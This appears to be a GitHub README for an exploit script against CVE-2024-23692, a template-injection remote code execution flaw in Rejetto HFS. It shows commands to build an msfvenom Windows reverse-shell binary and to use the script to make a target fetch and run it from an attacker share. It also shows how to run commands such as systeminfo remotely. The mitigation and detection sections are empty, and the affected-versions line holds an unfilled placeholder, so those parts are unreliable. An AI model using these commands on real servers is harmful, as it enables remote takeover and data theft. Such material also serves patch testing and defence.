mr-r00t11/cve-2024-23692Rejetto HFS (HTTP File Server) is a simple web file server that facilitates file sharing over a network or the internet.
Rejetto HFS (HTTP File Server) is a simple web file server that facilitates file sharing over a network or the internet. Despite its ease of use and simplicity, a critical vulnerability (CVE-2024-23692) has been discovered, making the server a target for attackers.
CVE-2024-23692 is a Server-Side Template Injection (SSTI) vulnerability identified in Rejetto HFS. This vulnerability allows an attacker to inject and execute malicious templates on the server. If exploited, it can lead to remote code execution, potentially compromising the entire server and the data it hosts.
An attacker exploiting this vulnerability can:
Obtain a shell using a malicious binary created in msfvenom.
Note: Leave nc listening.
# $ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.198.128 LPORT=1234 -f exe > exploit.exe
$ bash CVE-2024-23692-V2.sh 192.168.198.130 80 //192.168.198.128/kali/exploit.exe
![[Screenshot_1.png]](https://github.com/Mr-r00t11/CVE-2024-23692/blob/main/img/Screenshot_1.png)
Run a command remotely.
$ bash CVE-2024-23692-V2.sh 192.168.198.130 80 systeminfo
It may take approximately 15 seconds to display the result.
![[Screenshot_2.png]](https://github.com/Mr-r00t11/CVE-2024-23692/blob/main/img/Screenshot_2.png)
All versions of Rejetto HFS up to and including version [insert latest vulnerable version here] are affected by this vulnerability.
To mitigate the risk posed by CVE-2024-23692, users are advised to:
To determine if your server has been compromised, look for:
For further assistance and support, refer to the Rejetto HFS community forums or the official support channels.
This project is licensed under the MIT License - see the LICENSE file for details.